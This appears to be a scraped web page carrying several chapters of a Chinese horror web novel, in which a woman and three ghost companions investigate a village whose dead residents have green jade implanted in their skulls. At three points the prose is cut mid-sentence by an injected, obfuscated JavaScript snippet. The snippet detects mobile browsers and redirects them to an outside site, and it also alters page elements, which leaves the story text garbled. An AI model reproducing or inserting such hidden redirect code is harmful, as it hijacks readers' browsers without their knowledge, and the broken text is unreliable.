他的眼球呈突起状,巨大的眼泡挂在脸上,里面隐隐泛出红色。皮肤整体呈绿色,是绿和黑浑浊的融合,显得整张皮像是一张绿玉的外膜。 “你在找什么?” 他张开嘴,嘴唇的上下用线缝合了起来,此刻线已经断裂松解开。他咧出一个笑容,唇角直达耳根。 孟七向后趔趄几步,扶住摆放灵牌的桌子,稳住身体,道:“我找厕所,误入。” 那鬼向前走了几步,孟七看见,伴随着他的靠近,从他的身上淅淅沥沥地在往下滴水。 而那鬼的衣着打扮则像是披着一家百布衣,上面是各色各式的布料拼凑在一起,将他从头到脚裹了起来,只露出一张脸。 “找厕所……”那鬼收敛了笑容,喃喃道,“厕所……我让小燕带你去。” 说着,他似乎用手伸进了自己的衣服里,不断地摩挲着。而很快,他的衣料里开始膨胀,从他的腹部开始,似乎有什么东西被他从身体里掏了出来。 下一刻,他抖了抖身体,从衣领里拎出一条软绵绵的手臂,接着是一个趴倒的头颅、身体躯干、下肢…… 孟七眼睁睁看着他从衣领里拽出一条人来,那人明显已经没有身体迹象。 他搂着身体时,那颗头颅向后倾斜,一张同样绿色的脸倒挂着出现在孟七面前。这是一个年轻女人的脸,眼球已经凹陷下去,皮肤却依旧泛着玉石的光泽。 “这就是小燕。”绿鬼亲昵地扶回她的头颅,托着她的腰肢,将她的一条手臂握在手心,呈现出华尔兹样的姿势,“我让她带你去。” 说着,绿鬼扶着小燕,往门口走去。 孟七只得跟上,保持着约三四米的距离。 刚出祠堂,孟七却发现了不同。 此刻,原本一个人都看不到的村子里,却凭空出现了一堆村民。 他们行动自如,除了同样如绿玉外膜般的皮肤外,显得与常人无异。 “河使!河使大人!” 绿鬼一出现,就有小孩子扔下手中的竹蜻蜓,围了上来。 他们对绿鬼身后的孟七这个外来客人毫无兴趣,手拉手围着绿鬼蹦跳着,口里还哼着歌谣: “一块石,两块石, 河里捞出绿宝石。 小河弯,月儿亮, 谁在水下捉迷藏? 舌头是条笨红鱼, 放进河里才不响。” 绿鬼挨个摸了摸他们的头,又摸了摸怀里小燕的头。下一刻,那个被他揽抱着的小燕像是苏醒了过来,两只脚站在了地面上,头颅缓缓立起。 孟七看到,小燕转过头来看向自己,一边说话,一边嘴里传出牙齿触碰硬物的“咯哒”声:“客人,我带你去……” 随后,绿鬼欣慰地看了小燕一眼,再看向孟七,示意她跟上。 孟七跟在小燕的身后,她的行走动作流畅,完全看不出在刚才还是个软趴趴的尸体。 小燕带着她从祠堂那条路拐了几个弯,一路上,但凡是看到孟七的人都像是故意略过一般,草草瞥了一眼就又做自己的事。 孟七试着停在一个卖鱼虾的老太太面前,俯身问道:“大娘,你这鱼怎么卖?我想买一条今晚吃。” 老太太像是没听见,依旧坐在木凳上,摇着手里那柄用河草茎干编成的草扇,连头都没抬一下。 孟七抬起身体,收回的手却碰到一个冰凉的东西。 她转身,那个引路的小燕原本是站在路口等她,如今却不知怎么到她的旁边,与她紧紧挨着。 孟七向旁边挪动了一下,对着小燕微笑着道:“走吧,不买了。” 小燕看着她,一双黑色的涣散开的眼珠盯着孟七。 接着,小燕仰天张开嘴,然后将她的手伸进嘴里。 孟七看见,她的喉咙中像是已经没有了骨头,脖颈的皮肤下可以看见她手的形状。她的五指将喉口扒开,顺着喉咙向下,直到整个小臂都塞进了嘴里才似乎抓到了什么,慢慢地从嘴里抽出来。 她的小臂上沾满的是河草和污泥,而她收回的手上,俨然是一条闪烁着绿色鳞片的鱼。 紧接着,小燕拎着那条鱼尾,将鱼递给了孟七。 孟七忍着接了过来,鱼尾摸起来很湿滑,鱼鳞异常坚硬,鱼却不重。 “多谢,我们走吧。” 小燕满意地点了点头,转身继续引路,而孟七拎着那条鱼跟在后面,不敢松手。 然而,小燕停在了一栋挂着“药”字幌子的二层小楼前。 这栋楼是整个村子唯一看起来还算干净的建筑,门口的石阶上没有青苔,窗户也擦得一尘不染。 就在她们即将走上台阶时,木门“吱呀”一声从里面打开了。一个村民走了出来,他的脸上带着一种如释重负的笑容,脚步有些虚浮,像是喝醉了酒。 而孟七的目光,瞬间凝固在了他的头上。那村民的头发被剃光了,头顶正中央,有一个碗口大的、新开的血洞。洞口边缘的皮肉还外翻着,鲜血正顺着他的脸颊不断往下流淌。 但他却仿佛毫无痛觉,甚至还伸出舌头,陶醉地舔了舔流到嘴角的血液。 血洞的中央,一颗拳头大小的、被打磨得圆润光滑的绿翡翠,正严丝合缝地镶嵌在那里,随着他颅内的脉搏,一明一暗地闪烁着幽光。 “真好……真干净啊……”村民喃喃自语着,与孟七擦肩而过,步履轻快地走了。 “客人,到了。”小燕侧过身,“快进去吧。” 孟七的喉咙发干。 “找完医生,就不用再考虑‘污秽’了……” 孟七思考着如何脱身,此刻她背后的街道上到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272636|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处是村民,而她并不熟悉村庄里的路。 孟七向屋内扫了一眼,屋内的药味和血腥味浓重得令人作呕。大堂里,几个村民正排着队,脸上带着虔诚的表情。 而在大堂的正中央,一个身材干瘦、穿着长衫的村医,正跪在地上,叮叮当当地整理着一盘手术工具——石凿、骨锯、还有磨得锋利的石锥。 他的脚上,赫然绑着一条沉重的铁链,铁链的另一端,深深地钉入了地底。 “客人,快去吧……” “客人,客人……” “我不需要,”孟七努力保持清醒,小燕的声音不知为何突然变得重叠,直接窜入她的脑内,“我突然不想上厕所了。” 一瞬间,整个药庐,乃至整个村庄,所有的声音都消失了。 排队的村民、门口的小燕、甚至那个被铁链锁住的村医,所有村民的动作都在这一刻定格。然后,他们缓缓地、僵硬地将头转向了孟七。 孟七早有防备,转身就向村外狂奔!而她身后的村民如潮涌般追着她,他们的喉中发出“咯噔”的碰撞声,压住了他们的嘶吼。 孟七拼尽全力,索性扒着墙檐跳上屋顶,然后找到距离河边最快的路径,在屋顶间跨跑。 村民身体似乎很沉重,他们垒成一座人塔,似巨大的人肉怪物,一直跟在孟七的后面。 终于冲出了村庄的范围,孟七跑得跌跌撞撞,而远处,三个熟悉的身影正站在那里,看见她过来还招了招手。 “快!这边!” 大刀女鬼对她大喊着招手。孟七心中一喜,向他们那边跑去。 然而还差几百米时她却停住了。 病弱鬼原本最白,几乎要看不清他的身体,然而此刻他的全身都泛出一层浓郁的绿光。 孟七扫向另外二人,水鬼和大刀女鬼的身体外围,也都泛着一层淡淡的绿色浮光。 孟七的心沉到了谷底。她放慢脚步,试探性地朝他们走去,一边喘着气,状若惊慌地喊道:“水鬼大哥!这个副本太难了!我想起你之前说第二次失败的时候,你是在村子里找到了某个东西?那是什么啊,在哪里我怎么没找到?” “水鬼”迎了上来,“先别管了,我已经找到办法了,快,把这个吃了。”说着,他摊开手掌,掌心赫然是一颗还在微微搏动的绿色“翡翠”。 孟七毫不犹豫地转身,朝另一个方向狂奔! “……你要去哪里?” 这道声音并非来自刚才的“水鬼”而是从孟七跑向的方向,又走来了三个一模一样的鬼。 同样的绿光,同样的赝品。 “你要去哪里?” 孟七被三组赝品队友包围在中间,村庄里的村民没有跑出来,但她也不可能回去。 她心一横,干脆往河岸跑。 三组赝品露出一样的微笑,向她包围而来。 岸边的沙砾很粗,跑起来很费力。然而更令人绝望的是,跑着跑着,孟七突然在不远处看见了一片绿色的草地。 草地里,一颗颗西瓜大小的绿翡翠卧在中间,像是一颗颗亟待孕育而出的卵。 就在这时,一只冰冷的手突然从旁边伸出,一把将她拽了过去! 孟七反手抓起脚下踩到的石头,想也不想就朝身后那人的头上砸去! “呜——!”一声痛苦的闷哼传来。 孟七的动作停在了半空中。借着礁石缝隙里透进的微光,她看清了眼前这张脸。 那是一张年轻的、瘦削的脸,因为痛苦而扭曲着。他的皮肤没有那种诡异的绿色,而是带着一种长期不见天日的苍白。 最重要的是,他的嘴唇,被粗糙的黑色丝线,一针一针,死死地缝合了起来。 5. 翡翠河(2) 孟七惊魂未定,看着眼前这个被自己砸伤的哑巴鬼,一时间竟不知该如何反应。 哑巴鬼捂着渗出黑气的额头,顾不上疼痛,焦急地对她摆了摆手,然后指了指礁石更深处的黑暗,示意她躲进去。 孟七犹豫了片刻,最终还是选择相信这个唯一的异类。她跟着哑巴鬼,蜷缩进狭窄的石缝深处。 哑巴鬼捡起几块碎石,小心翼翼地堵住缝隙的入口,只留下一道微不可查的缝隙用以观察。做完这一切,他才靠着冰冷的石壁缓缓坐下,痛苦地喘息着。 孟七看着他缝合的嘴唇,心中一动。她捡起之前那块砸伤他的、边缘锋利的石头,递到他面前,然后指了指他嘴上的黑线,做了个“挑开”的动作。 哑巴鬼愣了一下,眼中闪过一丝复杂的情绪。他摇了摇头,用手指了指口腔深处,再做了一个用剪刀“剪断”的手势。 孟七瞬间明白了。 线可以挑开,但里面的舌头,已经没了。 她收回石头,和他一起陷入了沉默。 不知过了多久,外面那些重复的问话声和脚步声终于消失了。哑巴鬼又警惕地观察了许久,确认安全后,才挪开堵门的碎石。他指了指不远处另一片更隐蔽的礁石群,示意孟七跟他过去。 孟七跟着他来到了一处被巨大礁石天然围起来的小片空地。让她震惊的是,水鬼、大刀女鬼和病弱鬼,正昏迷不醒地躺在那里。 哑巴鬼指了指他们,又指了指自己,做了一个“拖拽”的动作。原来,在她被赝品围攻之前,真正的队友们也遭遇了不测,是他把他们一个个救了回来。 孟七稍稍松了口气,决定先等他们醒来。 又过了一会儿,水鬼最先悠悠转醒。他猛地坐起,警惕地看着四周,当看到孟七和那个哑巴鬼时愣了一下。 “我……我们这是在哪?” “被救了。”孟七简单解释了一句,然后问道:“你们到底发生了什么?” 随着大刀女鬼和病弱鬼也相继醒来,水鬼的脸色变得异常难看。 “你是怎么从那个村子里逃出来的?”水鬼开口的第一句话,就让孟七心头一紧。 “我第二次失败,就是栽在了那个村子里。”水鬼的声音充满了后怕,“当时我和我的队友一进村,就被那群看起来很正常的村民包围了。他们笑着邀请我们参加什么仪式,我们晚上打算留宿然后调查就同意了。结果到了晚上,他们把我们带到一个房间,里面有个被关起来的疯村医,上来就要给我们开颅。虽然我们已经是鬼了,但魂魄也不能损伤,我们不同意他们就瞬间变脸。我们最后……被他们按在地上,强行破开了脑子,我的魂魄也因此受了重创,修复了很久才好。” 听到这里,孟七点点头,她经历的和水鬼说的基本差不多,只是她遇到的村民似乎更寡言。 “经过第三次和第四次失败,我才摸清一点规律。”水鬼继续道,“这个副本的关键,不是村子,而是河边!我在村子里的祠堂找到半面壁画,上面刻着,有一个清醒的人想要劝说村民,就被缝上嘴巴扔进了河里。我推算,那个就是封面上的鬼。” “我们分头行动后,从两边又相遇了,然后就一起看到了那个哑巴。”大刀女鬼接口道,“当时他正焦急地在河水里摸索着什么,好像在找东西。我们想过去帮忙,可刚一追下水,就感觉不对劲了。” “河底不是沙子,全是那种滑溜溜的、大小不一的石头。我们脚下一滑,摔倒在水里,就感觉……就感觉整个人被那条河牢牢地吸住了,怎么都爬不起来。再醒来,就看到你们了。” 交流完情报,所有人的目光都集中在了哑巴鬼身上。 孟七看着他,脑海中突然闪过村口那些孩子唱的歌谣。 “……舌头是条笨红鱼,放进河里才不响……” 如果像水鬼所说的,清醒的哑巴被缝上嘴扔在了河里,那村子里那个同样被缝上过嘴的“河使”又是谁? 祠堂不大,她进去时却只看到了牌位,并没有发现什么壁画。水鬼既然找到了其中一段,就说明一定还有其他的片段藏在祠堂的某个更隐蔽的角落。 至于现在,她看向哑巴鬼,试探性地做了一个“鱼”在水中游动的手势,然后指了指他的嘴。 哑巴鬼的身体猛地一震,他激动地对着孟七疯狂点头。 “我明白了,”孟七对其他人说,“他在找他的舌头。我在村子里听到的歌谣中说,舌头被扔进河里,变成了红鲤鱼。” 水鬼看了她一眼,意外地站起身,点头:“那好,既然知道要找什么,那就好办了。在水里找东西,是我的老本行。” 说罢,水鬼走到河边,双手插入水中。他闭上眼睛,水流自他的手指处开始分化,形成一个漩涡,向周围散去。 时间一分一秒过去,水鬼的脸色越来越苍白。 “到底行不行?”大刀女鬼担心道,“天要黑了,我们又不能下水找,要不先找个地方躲一下吧。” “我再试试!”水鬼咬了咬牙,再次将手插入水中。这一次,他分出一缕极细的水流,轻轻缠绕在哑巴鬼的手腕上。“你来感应!感觉到哪个东西和你有联系,就告诉我方向!” 大刀女鬼和病弱鬼先到其他地方搬了几块大礁石,把缝隙中间扩充成了一个小小的房间。 女鬼力气很大,而病弱鬼在干完后几乎再没有余力,他的鬼身似乎越来越薄了,他虚弱地坐在洞里,倚靠在石壁上。 “找到了!” 水鬼大喝一声,那片水域的河水瞬间形成一个巨大的漩涡,无数的绿翡翠和淤泥被卷起,一条通体赤红、只有巴掌大小的“鲤鱼”在漩涡中惊慌地乱窜,显得格外醒目! 水鬼手一招,那条红鲤鱼便被一股水流精准地包裹着,送到了岸上。 当它离开河水的瞬间,红光散去。那根本不是什么鱼,而是一截血淋淋的、还在微微抽搐的舌头。 哑巴鬼颤抖着伸出手,将那截舌头捧在手心。 就在这时,原本平静的河面似乎苏醒了,几人立刻远离了河面,刚才被水鬼卷起来的那些绿翡翠不知为何都洋洋洒洒落在了河岸上。 “快走!”孟七道,她突然想起那群冒牌货。 三人拔腿就跑,果然,身后不久就传来“咯哒咯哒”的玉石扭曲的声音。 然而,没等他们跑远,一道温柔的女声从背后传来: “阿涛……我的阿涛……快过来……妈妈这里不冷了……” 水鬼的身体猛地一僵,他停住脚步,回头望去。 孟七瞥见,一个由绿石捏造成的女人正站在河岸,她穿着洗得发白的旧衣服,面容慈祥,正朝着水鬼的方向,伸出双手,用一种无比温柔的声音呼唤着。 “阿涛……到妈妈这里来……” “……妈,”水鬼不受控制地喃喃出声,“妈,你怎么会在这。” “那是假的!”孟七怒吼,“你疯了吗,那么明显,是那些绿石头捏造出来的。” “……我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272637|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”水鬼没有泪水,他只能皱着眉,再深深地看了一眼,“我知道,我知道!” 接着,几人再度向刚才的礁石处跑去。 似乎是因为那块的礁石离河边很远,河水退潮,逐渐爬起身的其他人形石怪也向这里走来,但都走不远,无法靠近。 几人喘着气躲回礁石中,孟七刚坐下,就发现对面的病弱鬼不对劲。 “他刚才就昏迷了很久。”大刀女鬼道,“这鬼真是的,自己魂魄都虚弱成这样了,还来干这种活。” “现在怎么办?”水鬼看了一眼根本无法叫醒的病弱鬼,对其他人道,“这家伙本来就没什么用,就把他放这吧。我们还是得进村,我当时看到的壁画一定还有另一半,现在找到了这个清醒的哑巴,治好他说不定就能帮我们进村了。” 孟七和他想到了一块,她也想去祠堂里看一眼那些壁画。 然而,只见哑巴鬼却缩在角落,在众人希冀的目光下,轻轻摇了摇头。 他专注地将舌头放在旁边的石块上,指了指嘴,摆了摆手。 舌头治不好了,他的意思是。 “你他——”水鬼立刻就要发作,被孟七拦下。 “舌头恢复不重要,就算不会说话,你也能帮我们吧。”孟七对着哑巴鬼道,“我们要进祠堂,可是又不能被村民发现,你有什么办法?” 谁料,哑巴鬼依旧是怯生生摇了摇头。 这次孟七没拦着水鬼骂他。 “他自己都是被赶出来的,能有什么办法?”大刀女鬼没好气地说,“那也要把他带着,他毕竟是这里的一部分,有危险就把他扔过去。” 孟七坐下身,静静地思考着。 这个哑巴和村里的“河使”都被嘴缝了起来,但据她观察,这两人长相有明显差异,应该不是同一个人。 如果哑巴是因为不信翡翠河的传言而被割掉舌头、缝上嘴,那么村子里那个河使又是为什么? 为什么她进入村子时一开始没有人,是通过祠堂遇到河使才看见村民,而水鬼说的却是他一开始就遇见了村民,并且村民态度大相径庭? 哑巴和河使的关系、村民的前后差异,搞清楚这两点,应该就离真相更进一步了。 “如果第一次副本失败,第二次进入时,副本会有上一次的记忆吗?”孟七问道。 水鬼愣了一下,回:“应该没有,我来的第一次和第二次开头都是一样的,第三次和第四次的开头也是一样的,这里的反应没有什么区别。” 同一个人的前后没有区别……那会不会区别就在于人上。 因为她和水鬼的不同,所以在进入村庄时才会产生不同。 “明天天亮,我们就再进村。”孟七笃定道,“祠堂里的东西一定很重要,我们一定要看到。” 河使在她进入祠堂后才出现,一定有理由。 “就这么回去?不是自投罗网吗?”大刀女鬼道。 孟七摇了摇头:“我逃跑的时候发现,距离我们这里不算太远的地方有一片草地,里面有很多那些绿翡翠。” “那不就是会化成人形的吗?” “不对。”孟七道,“我观察过了,村子里的人身上大多都有跟河流有关的痕迹,那些化成人形的绿石头也是从河里出来的。但那些草地里的却离河道比较远,应该不是活的。” “那有什么用?” “村民把翡翠植入到脑子里,寓意祛除污秽。我们也把这东西放在头上,进去赌赌运气。” 6. 翡翠河(3) “我很少跟人提过我的家。” 水鬼坐在孟七旁边,头撇到一边,看着从缝隙里透进来的月光,缓缓说道, “我们家是很传统的渔民,就是住在海边的,我爹是打渔的,我娘是卖鱼的。可是我爹死在了海里,我娘带我搬了家,为了给我攒钱上学,冬天砸冰摸鱼,也被淹死了。而我,在从那个渔村跑到大城市后,却被生意合伙人欺骗,把我灌醉后推进了河里。” 孟七不知道水鬼为什么要说这些,但她只是静静地听着,反正夜才刚刚开始。 “我……我真的很想我娘,所以我才会停下来。”水鬼把自己蜷缩起来,抱住头,埋在膝盖里,“我太想见她了,我很久没见过她了。他们都入轮回了,而我选择留下来。我觉得就算回到人世也没有意义,投胎转世又怎样呢,我也不想忘记我爹娘……我太害怕了,我害怕再经历一次失去他们。” 孟七默叹了口气,她或许应该安慰这个鬼,但她也说不出话来。 或许跟他说自己的家人也没了会让他好受点吗?其实不会,孟七想,反而会让他觉得自己在弱化他的痛苦、不承认他的痛苦。 大刀女鬼倒是重重叹了口气,道:“没能入轮回的都有执念,别人都走了,我们留下来,明明什么也改变不了了,但就是不愿意走。魂魄会越来越薄,会逐渐自己把自己忘掉,然后迷失在这里。为了维持记忆只能不停做事,要么去打工,要么就在这里走钢丝。如果不是实在没办法,谁又愿意进这些地方,做这些事? “我和你不一样,我妈走得早,我爹是开武馆的,从小我就不爱读书,我爹跟我说那就不读,他的女儿只要身体好、天天开心就行。可是我却被查出生了病,我爹卖掉了武馆,他的徒弟们给他筹钱,给我做了手术。我那段时间看到他头发都变白了很多,幸好我的病治好了,他卖给他徒弟的武馆又被他原价买了回来。好心人太多了,可是我还是在我爹前面走了,走的时候他抱着我的手,让我下辈子还是做他女儿。 “可是我在这里找了很久,问了很多鬼,他们都不知道怎么在下一世还让我做我爹的女儿。我不敢走,我怕要是错过了,再下一世就更找不到我爹了。” 孟七沉默地听着,她不想在这样的地方太过感伤,所以没有继续搭话。 哑巴鬼缩在角落里,盯着地面发呆。鬼似乎都不需要睡眠,但孟七需要。孟七倚靠在石墙上,微微闭起了眼。 然而她随即便感觉到,身边有人在靠近。 她向旁边看去,哑巴鬼不知为什么向她这里靠来,坐在她的旁边。 “这家伙也是可怜。”水鬼已经调节好了情绪,看向哑巴鬼道,“明明没做错什么,却被那群疯子这样残忍地对待。” 孟七没有搭话,静静地扫了哑巴鬼一眼。 可怜? 单从被缝上嘴扔进河来说,确实是这样。 但疑惑仍然挥之不去,孟七的脑中还是不断浮现出村子里那位“河使”的身影。 “让一群有执念的鬼来带走另一个有执念的鬼,也是稀奇。”大刀女鬼感叹道,“执念深到自己创建了一个世界,其实我要是也能这样,一直活在自己的幻想里也不错。” 孟七长舒了一口气,她看向哑巴鬼,问道:“现在我问你几个问题,你只需要点头摇头就可以。” 哑巴鬼愣了一下,看了她一眼,又垂下头去。 “第一,你知道自己的舌头治不好了但依旧要找,是不是因为只有舌头被拿出来,你才能离开那条河?” 哑巴鬼点了点头。 “第二,你知不知道村子里的人都死了?” 这句话让其他几个鬼也是一惊。 众人注视下,哑巴鬼再次点了点头。 “你怎么知道?”水鬼问。 “我进入村子时,祠堂里摆满了灵位,并且所有人都死在了同一天。”孟七道,“村民的头颅里植入了绿石,身上有被绿石同化的痕迹,我想可能就是因为这些石头,导致他们在同一天死亡了。” “那就是那些石头发生了什么。”水鬼推测道,“如果是感染也该有前有后地死亡。只是如果同一天死去,那些灵牌又是谁设置的?” 孟七深深看了他一眼:“那就一定是,村子里的幸存者。” “幸存者?可是村民不是都——”水鬼话说到一半,突然噎住了。 不是所有村民都被植入了绿石——还有那个被缝上嘴巴、扔到河里的哑巴。 孟七感到一阵背寒,她的身体没有动,看向旁边紧挨着她的哑巴鬼:“那些灵牌,是你给他们奉上的?” 哑巴鬼低着头,杂乱的头发覆盖住他的脸,没有说话。 “你当初被扔进河里,但是没有死?”水鬼质问道,“你活了下来,还回去给他们收尸、奉了灵位?” 不过这不是孟七想问的,她静静地看着哑巴鬼,身体却不由自主地绷紧:“那些村民究竟是怎么死的?你又是怎么死的?” 假设这个世界是因为哑巴鬼而存在,可如果他在被投河后还活着,那么他是在收尸后自杀? 下一刻,哑巴鬼突然站起身,向洞口跑去。 孟七伸手一抓,抓到他的小臂。下一刻,他的小臂却自动脱落,然后分裂成碎石般的小块散落,而其他身体已然撞开洞口的碎石跑了出去。 孟七低头看去,那些残破的肢体碎片下,分明是绿色的玉石断面。 水鬼和大刀女鬼随即就要追出去,却被孟七拦住了。 “不要追!”孟七通过被撞开的洞口看到了外面,“外面天还黑着,很多东西都看不清。” 水鬼蹲下身,看了看掉在地上的碎石,骂了一声:“这家伙是石头变的?靠!” 孟七拍了拍手心残留的碎石,思酌道:“他刚才一直在接近我,却没有伤害我,一开始也是他救了我们几个。如果他的目的是让我们失败,其实不用这么麻烦。” 大刀女鬼补完石门,转身看到墙角石头上,那半截红舌头还在。 “他舌头没带。”大刀女鬼把舌头拎起来,提议道,“你不是说这是能让他被困在河里的东西吗?那我们把它再放回去?” 孟七摇了摇头:“应该没用,刚才的问题我也只是随口一编,没想到他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272638|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然真的点头。就算是真的,他既然能把这东西留下,就说明这个威胁不到他。” “那也说得通。”水鬼笃定道,“他救我们,让我们给他找舌头解除封印,然后舌头没用了就被他留下来了。” “可是他刚才为什么要靠近你?”大刀女鬼疑惑,“他又为什么不在一开始就跑?” “杀人灭口呗。”水鬼道,“目的达成了,再把我们杀了。” “可是我们走了以后,他不就又回到原状了吗?”大刀女鬼问。 “他又不知道。”水鬼答,“他沉浸在自己的世界里,以为能借此解脱,其实没什么用。” 孟七点点头,又摇摇头:“我觉得不准确。他一直都没有做出伤害我们的举动,刚才的靠近我也很疑惑,就像是……他故意想让我抓住他。” 无端靠近、留下的手臂、丢弃的舌头……究竟是真的无用的线索,还是引诱她发现真相的端倪? “你是说,这鬼想要故意给你留下东西?”大刀女鬼也想到了这层,看了看手中的舌头,“留下手臂是为了让我们知道他是绿石造的,留下舌头……难道舌头也是个线索?可是他为什么要帮我们?” “他也想让我们进村。” “进村?” 孟七回答道:“他和那些绿石幻化成的人不一样,我仔细观察过,他的肢体没有散发出那种绿色,看起来也更加轻盈,是很符合标准的‘鬼体’。可是现在突然变成了绿石,只有两种可能。 “一,他被掉包了,这种可能性很小,因为绿石怪目前只出现在紧靠着河边的地方,村民也只是有了特征而并非是石怪。再加上我们一直和他在一起,所以应该不太可能。二,他在中途缓慢变异了,就像那些村民一样,被绿石逐渐感染,可是他并没有展现出绿膜样的皮肤,或许是因为转变从内部开始,还没有渗透到外表。” “所以,他确实是我们要找到那个鬼?” 孟七犹豫了一下,模棱两可地回答:“不清楚,至少目前看来,他最贴切。” “他已经杀了那些村民,又为什么不肯放过自己?”大刀女鬼不解,“大仇已报,他还有什么放不下的?” 水鬼答:“这恰恰说明,事情还另有隐情。所以他把舌头留给了我们,等我们进村,一定用得上。” “一条舌头,能有什么用呢……解决了他的执念,就能带他走了吧。”大刀女鬼喃喃道,“他到底还能有什么执念……” “或许跟那些村民的死有关。”水鬼猜测,“一个一个设立牌位……太奇怪了。” 说是恨,似乎太单薄;说是怀念,好像又不可信。 灵位上一个个刻下的名姓,他记得那样清楚,他究竟想要什么?他还有什么没有得到,足以建造一整个世界来保存? “那就要问他了。”孟七再次看向外面,透过石缝,外面的天逐渐亮了几分,“我们天亮就去搬石头,想个办法把石头放在头上,然后进村。” “真的能瞒过去吗……” “这是唯一的办法了。”孟七道,“我有预感,再拖下去,我们只会有失败这一个结果。” 7. 翡翠河(4) 天色逐渐亮了起来,众人推开石墙走出来,河岸边的风带着刺骨的湿寒。 被留在礁石洞穴中的病弱鬼依旧昏迷不醒,鬼体愈发透明,仿佛随时都会消散。 孟七三人交换了一个凝重的眼神,跟着记忆动身前往那片翡翠草地。 然而,当他们抵达草地时,孟七的不安愈发汹涌。 那些原本西瓜大小的绿翡翠,整体都大了一圈。它们依旧是死寂的矿石,表面却浮现出如同干涸河床般的龟裂纹路。 “这些东西……好像在长大。”孟七当机立断,“拿一块就行,砸成三块,绑在头顶。” 大刀女鬼行动很快,她挑选了一块裂纹最少的绿翡翠,用腰间的刀劈了两下。 而断面处,那些玉纹在接触到空气的瞬间,似乎变亮了一瞬。 三人用衣服上撕下的的布将石块裹了一圈,然后放在头上,再在下巴处系上一个结。 “真的能瞒过去吗。”水鬼还是很担忧,这真的太拙劣了。 “走吧。”孟七稳住心神,“不行也得行。” 这一次,村庄里如孟七刚来时那样,空无一人。 他们没有任何耽搁,径直来到了村庄中心的祠堂。 祠堂的门却大敞着,里面幽深黑暗,像一只等待猎物上门的巨兽张开了喉口。 祠堂内,所有的灵位都蒙上了一层厚厚的灰尘,仿佛已百年无人问津。 他们再度擦了几个,果然牌位的名字和顺序都和孟七看到时的没有差别。 然而不一样的是,他们走到最深处时,看见在祠堂正中央的供桌上,静静地摆放着一个古旧的、上了锁的铁盒。 大刀女鬼上前,毫不犹豫地用刀背狠狠砸在铜锁上。“哐当”一声,锁应声而断。 盒子打开的瞬间,一股陈腐的墨香和血腥味混合的气味扑面而来。里面没有财宝,只有两本用油布包裹的书。 孟七拿起第一本,封面上写着两个大字——《村志》。 “……庚寅年三月,大旱。河床见底,非是枯涸,乃神明拨开水帘,亲授神恩。石出,其色如春水初生,其音如天外梵唱。触之,饥寒顿消;闻之,百忧皆忘……” “……凡俗之颅,乃禁锢灵慧之囚笼。骨为锁,皮为障。唯以圣者之手,持神赐之锥,轻叩天门,引圣光入脑,方可涤荡七情六欲之污秽。血非血,乃俗念之流出;痛非痛,乃羽化之初啼。此乃大欢喜,大解脱……” “……其舌,生于凡胎,只会言俗世之谎。其耳,长于浊地,不纳神河之圣音。我等非是罚之,乃是渡之。为其噤声,是免其再造口业;为其静耳,是望其终闻大道。惜其愚顽,自囚于无声之苦,实为可悯……” 水鬼则拿起了另一本,那是一本私人手札,封皮上用血写着“疫”字——《行医手札》。 “四月初三,晴。李家小子劈柴,误断其指,竟不觉痛,反大笑不止,言指尖有暖流,通体舒泰。吾查其脉象,浮而无根,似魂不守舍。开方定神,然药石无灵。此非病,乃祟也。” “四月十七,雨。村中已无人耕作。皆围坐石前,痴痴聆听。言河中神明在歌,其音美妙。吾堵耳细闻,唯有尖利嗡鸣,如金石刮骨,令人心智欲狂。是我疯,抑或是举世皆疯?” “……门外,是我儿阿牛。他捧着石锥,笑意盈盈,如儿时捧上新摘野果。他说:‘爹,开门,该种神石了。’……他的眼睛是绿色的。此笔记,藏于盒中。来者……烧村……勿救……勿听……” “五月廿一,阴。他们将田永带来了,他的嘴被布塞着,仍在挣扎。祭司站在我面前,他说,田永的舌头是浊根,需我亲手放生,以证我心之洁。我将药箱砸在地上。我说,我这双手是用来救人的,不是用来当屠夫的!河使笑了。铁链锁住了我的脚踝。他们说,从今往后,我便是村子的祭医,专门为族人‘开天门’。这是我最后能写下的字了。他们要去取‘圣器’。我必须将此书与那本谎言之书一同藏起……若有后人见此……” 手札的内容到这里戛然而止,孟七将两本书都再次包好,放进了口袋里。 “那个!是不是壁画!?”大刀女鬼突然惊叫起来,指着祠堂后面说道。 孟七顺着她指的方向望去,发现狭小的祠堂后面不知何时又开拓出一块来,只是用同样色调的砖砌着,难以分别。 “没错,我就是在这里看见的壁画。”水鬼一边说着,一边往后面走去。 孟七跟过去,发现在祠堂中央的祭台后面,是一块巨大的石碑,石碑上却没有字。 而石碑的对面,那片灰砖墙上却被画上了一片壁画。 